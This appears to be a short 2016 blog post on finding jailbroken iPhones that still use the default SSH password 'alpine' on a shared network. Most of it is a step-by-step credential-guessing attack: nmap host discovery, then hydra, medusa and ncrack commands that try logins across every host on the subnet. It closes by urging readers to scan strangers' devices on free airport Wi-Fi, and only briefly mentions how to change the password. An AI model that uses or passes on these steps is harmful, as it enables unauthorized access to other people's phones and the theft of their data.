Friday, November 4, 2016

Scan a subnet to find out jailbreak iPhone with default password

After jailbreak, most of the users will install OPENSSH on their IOS device. However, some of the users might not know or just forgot to change the default password. Below is the user list of an iPhone:

The default password of the username root and mobile is “alpine”.

So our goal is to scan a whole subnet and find if there are any jailbroken IOS devices can be SSH login with the default username and password.

Tools: nmap (v7.01)  , hydra (v8.1) or medusa (v2.2) or ncrack (v0.4ALPHA).

1.     Connect your computer to the wireless network and find out the IP range:

2.     Use nmap to generate a hosts list: nmap -sL | grep "Nmap scan report" | awk '{print $NF}' > hosts.lst

3.     Or if you only want to scan the live hosts, you can use command: nmap -sP -n | grep "Nmap scan report"| awk '{print $NF}' > liveHosts.lst

4.     Create 2 text files: username.txt and password.txt

5.     Run command: hydra -t 4 -L username.txt -P password.txt -M hosts.lst -s 22 ssh

6.     It took 12 minutes to get the password:

7.     Or you can use medusa: medusa -H liveHosts.lst -U username.txt -P password.txt -M ssh

8.     Ncrack also can do the job: ncrack -p ssh -U username.txt -P password.txt -iL liveHosts.lst --exclude And you can press 'p' to list discovered credentials during the scan.

Following the steps above, you can easily modify the username and password file to perform a dictionary or brute force attack.

Ok, that’s it. Next time, you go to an airport, connect your Kali Linux to the free WIFI, have a cup of coffee and scan the whole subnet. You might be surprised. 

BTW, to change the password, just ssh to the iPhone with root and use command “passwd” and “passwd mobile”

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